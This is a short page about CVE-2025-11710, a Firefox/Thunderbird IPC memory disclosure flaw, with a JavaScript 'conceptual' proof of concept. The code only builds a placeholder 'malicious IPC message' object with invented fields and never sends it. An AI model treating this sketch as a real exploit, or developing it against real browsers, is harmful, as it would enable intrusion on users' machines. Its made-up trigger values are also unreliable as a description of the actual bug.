CVE-2025-11710 Firefox/Thunderbird IPC消息内存泄露漏洞

// CVE-2025-11710 PoC - Conceptual demonstration // Note: This vulnerability requires a compromised web process to exploit. // The following is a conceptual outline of the exploit chain. // Step 1: First, gain code execution in the web/content process // This typically requires another vulnerability (e.g., a JS engine bug) // For demonstration purposes, assume we already have arbitrary read/write // in the content process. // Step 2: Craft malicious IPC message to the privileged browser process // The IPC message exploits the vulnerability in the browser process's // message handler, causing it to return memory contents. function exploitCVE_2025_11710() { // The IPC mechanism in Firefox uses Mozilla's IPC framework // Messages are sent via the IPDL (IPC Protocol Description Language) // Craft a malicious IPC message targeting the vulnerable handler // The handler fails to properly validate the request, leading to // out-of-bounds memory read in the privileged process const ipcMessage = { // Target the specific IPC endpoint that handles the vulnerable code path protocol: "chrome", // Target chrome/privileged process message: { // Malicious payload that triggers memory disclosure type: "PBrowser", // Browser process message type action: "malicious_action", params: { // Crafted parameters to trigger memory leak offset: 0, // Read offset length: 0x1000, // Read length - triggers OOB read } } }; // Send the malicious IPC message // The privileged browser process will respond with memory contents // due to the vulnerability // In a real exploit, this would use Firefox's internal IPC APIs // such as ContentChild::SendXxx() or similar methods console.log("Exploit concept for CVE-2025-11710"); console.log("Requires: Code execution in content process + IPC access"); console.log( "Impact: Memory disclosure from privileged browser process" ); return ipcMessage; } // Note: A working PoC requires deep knowledge of Firefox's IPC internals // and typically chains with another vulnerability for initial access. // Mozilla bug tracker: https://bugzilla.mozilla.org/show_bug.cgi?id=1989899
